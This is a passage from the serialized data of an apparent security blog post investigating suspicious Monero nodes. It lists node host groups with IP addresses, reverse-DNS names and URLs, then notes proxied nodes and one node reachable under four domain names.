https:\u002F\u002Fxmr.cryptostorm.is:18081\n\nHost group 74\n154.201.90.46 nil http:\u002F\u002Fnode.c3pool.org:18081\n\nHost group 75\n45.88.200.82 nil http:\u002F\u002Fxm.rip:18081\n\nHost group 76\n46.32.46.171 2E202EAB.rev.sefiber.dk. http:\u002F\u002F46.32.46.171:18081\n46.32.46.171 2E202EAB.rev.sefiber.dk. https:\u002F\u002Fstorj.myqnapcloud.com:18081\n\nHost group 77\n87.202.12.6 athedsl-03054.home.otenet.gr. http:\u002F\u002Fmonero.homeqloud.com:18089\n\nHost group 78\n194.5.183.35 nil http:\u002F\u002Fxmr.nodes.masberthet.fr:18081\n\nHost group 79\n152.89.105.105 moneronode.org. http:\u002F\u002Fmoneronode.org:18081\n152.89.105.105 moneronode.org. https:\u002F\u002Fmoneronode.org:18081\n\nHost group 80\n104.168.82.96 104-168-82-96-host.colocrossing.com. http:\u002F\u002Fxmr.support:18081\n\nHost group 81\n125.168.80.60 60.80.168.125.sta.wbroadband.net.au. http:\u002F\u002Fmoneropay.techthis.online:18089\n\nHost group 82\n104.153.209.162 nil http:\u002F\u002F104.153.209.162:18081\n\nHost group 83\n185.162.249.141 owl.lc. http:\u002F\u002Fowl.lc:18089\n\nHost group 84\n95.217.143.178 static.178.143.217.95.clients.your-server.de. http:\u002F\u002Frucknium.me:18081\n\nHost group 85\n2a01:4f8:a0:3800::7 nil https:\u002F\u002Fxmr2.julias.zone:18089\n88.198.38.83 dedi2.julias.zone. https:\u002F\u002Fxmr2.julias.zone:18089\n\nHost group 86\n159.69.153.93 xmrvsbeast.com. http:\u002F\u002Fp2pmd.xmrvsbeast.com:18081\n\nHost group 87\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18089\n\nHost group 88\n193.168.143.9 nil http:\u002F\u002Fmonero.anycolo.net:18081\n\nHost group 89\n190.115.29.70 ddos-guard.net. http:\u002F\u002Fnode.majesticbank.at:18089\n190.115.29.70 ddos-guard.net. http:\u002F\u002Fnode.majesticbank.is:18089\n\nHost group 90\n89.147.109.91 vps-89.147.109.91.1984.is. http:\u002F\u002F89.147.109.91:18089\n\nHost group 91\n88.212.32.151 ip-88-212-32-151.antik.sk. http:\u002F\u002Fxmr.ppke.sk:18081\n\nHost group 92\n2a01:cb10:249:7300:b:c:b:c nil https:\u002F\u002Fnode.mailia.be:18089\n92.131.11.157 alille-657-1-66-157.w92-131.abo.wanadoo.fr. https:\u002F\u002Fnode.mailia.be:18089\n\nHost group 93\n204.8.45.35 r2.ckwp.dyni.net. http:\u002F\u002Fmonero.dyni.net:18081\n\nHost group 94\n147.45.79.135 nil https:\u002F\u002Fmonerodice.pro:18089\n\nHost group 95\n51.195.200.94 vps-a6d1909f.vps.ovh.net. http:\u002F\u002Fnode.community.rino.io:18081\n\nHost group 96\n135.148.45.230 richfowler.net. http:\u002F\u002Fopennode.xmr-tw.org:18089\n135.148.45.230 richfowler.net. https:\u002F\u002Fopennode.xmr-tw.org:18089\n135.148.45.230 richfowler.net. http:\u002F\u002Fnode.richfowler.net:18089\n\nHost group 97\n125.229.105.12 125-229-105-12.hinet-ip.hinet.net. http:\u002F\u002Fnode1.xmr-tw.org:18081\n\nHost group 98\n186.190.208.100 nil http:\u002F\u002Fnode3-us.monero.love:18081\n\nHost group 99\n141.98.153.205 vmi1917710.contaboserver.net. http:\u002F\u002F141.98.153.205:18089\n\nHost group 100\n50.86.7.28 nil http:\u002F\u002Fxmr.cruxexperts.com:18089\n\nHost group 101\n37.187.74.171 ns3365046.ip-37-187-74.eu. https:\u002F\u002Fuwillrunanodesoon.moneroworld.com:18089\n37.187.74.171 ns3365046.ip-37-187-74.eu. http:\u002F\u002Fuwillrunanodesoon.moneroworld.com:18089\n\nHost group 102\n184.75.221.107 mojeooffers.net. http:\u002F\u002Fmonero.us.to:18193\n\nHost group 103\n185.25.108.186 185025108186.net-el.pl. http:\u002F\u002F185.25.108.186:18081\n\nHost group 104\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18289\n\nHost group 105\n95.217.178.183 static.183.178.217.95.clients.your-server.de. http:\u002F\u002F95.217.178.183:18089\n37.27.89.118 static.118.89.27.37.clients.your-server.de. http:\u002F\u002F37.27.89.118:18089\n\nHost group 106\n167.172.30.17 nil http:\u002F\u002Fxmr.bikini.cafe:18081\n\nHost group 107\n172.104.202.210 172-104-202-210.ip.linodeusercontent.com. http:\u002F\u002Fxmr-node.cakewallet.com:18081\n172.104.202.210 172-104-202-210.ip.linodeusercontent.com. http:\u002F\u002Fxmr-node-uk.cakewallet.com:18081\n172.104.202.210 172-104-202-210.ip.linodeusercontent.com. http:\u002F\u002Fxmr-node-eu.cakewallet.com:18081\n\nHost group 108\n77.51.51.199 nil http:\u002F\u002Fl4nk0r.dev:18089\n\nHost group 109\n89.147.109.123 vps-89.147.109.123.1984.is. http:\u002F\u002F89.147.109.123:18089\n\nHost group 110\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18589\n",[276,6478,6476],{"__ignoreMap":20},[12,6480,6481],{},"Each host group in this output (regardless of protocol or IP) represents the same underlying Monero node.",[12,6483,6484],{},"Based on these results we concluded that there is less of such attack happening than we initially thought. However we found a few such hosts:",[992,6486,6487,6500,6512],{},[995,6488,6489,6492,6493,6496,6497,678],{},[1154,6490,6491],{},"Host group 49",":\n",[276,6494,6495],{},"http:\u002F\u002F68.118.241.70:18089"," is a proxy for ",[276,6498,6499],{},"http:\u002F\u002Fnode.sethforprivacy.com:18089",[995,6501,6502,6492,6505,6496,6508,6511],{},[1154,6503,6504],{},"Host group 66",[276,6506,6507],{},"http:\u002F\u002F185.218.124.120:18489",[276,6509,6510],{},"http:\u002F\u002Fmonero.10z.com.ar:18089"," or the other way around.",[995,6513,6514,6492,6517,6496,6520,6511],{},[1154,6515,6516],{},"Host group 105",[276,6518,6519],{},"http:\u002F\u002F95.217.178.183:18089",[276,6521,6522],{},"http:\u002F\u002F37.27.89.118:18089",[12,6524,6525,6526,6529],{},"Another bad thing we noticed is that ",[1154,6527,6528],{},"Host group 50"," has 4 different domain names pointing to the same underlying Monero node server:",[6531,6532,6533,6537,6542,6547],"ol",{},[995,6534,6535],{},[276,6536,1079],{},[995,6538,6539],{},[276,6540,6541],{},"uwillrunanodesoon.moneroworld.com",[995,6543,6544],{},[276,6545,6546],{},"opennode.xmr-tw.org",[995,6548,6549,6552],{},[276,6550,6551],{},"node.monerodevs.org"," (actual domain name of this node)",[12,6554,6555],{},"This increases the chances that this node will be selected over others even while picking randomly.",[23,6557,6559],{"id":6558},"what-can-digilol-do-for-you","What can Digilol do for you?",[12,6561,6562],{},"Digilol offers full-stack development, managed hosting, consulting and penetration testing services. We accept Monero and help others do too.",[1032,6564,6565],{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sfNiH, html code.shiki .sfNiH{--shiki-light:#FF5370;--shiki-default:#FF9CAC;--shiki-dark:#FF9CAC}",{"title":20,"searchDepth":204,"depth":204,"links":6567},[6568,6570,6574,6576,6577,6578,6579],{"id":1103,"depth":204,"text":6569},"What is node.moneroworld.com?",{"id":1141,"depth":204,"text":1142,"children":6571},[6572,6573],{"id":1149,"depth":302,"text":1150},{"id":1211,"depth":302,"text":1212},{"id":1295,"depth":204,"text":6575},"The curious case of dallas.xmrnode.com",{"id":1366,"depth":204,"text":1367},{"id":1488,"depth":204,"text":1489},{"id":1504,"depth":204,"text":1505},{"id":6558,"depth":204,"text":6559},"Cybersecurity","2024-09-10","An investigation into how malicious nodes run by Chainalysis made their way into defaults of popular Monero wallets.","https:\u002F\u002Fwww.digilol.net\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fmonerocom-wallet.webp",{},"\u002Fblog\u002Fchainanalysis-malicious-xmr",{"title":1052,"description":6582},{"loc":6585},"blog\u002Fchainanalysis-malicious-xmr","h2EruuYW7qN_SES2G0ezyk48d0SqDIqBdwgaCckdMP8",1778282460597]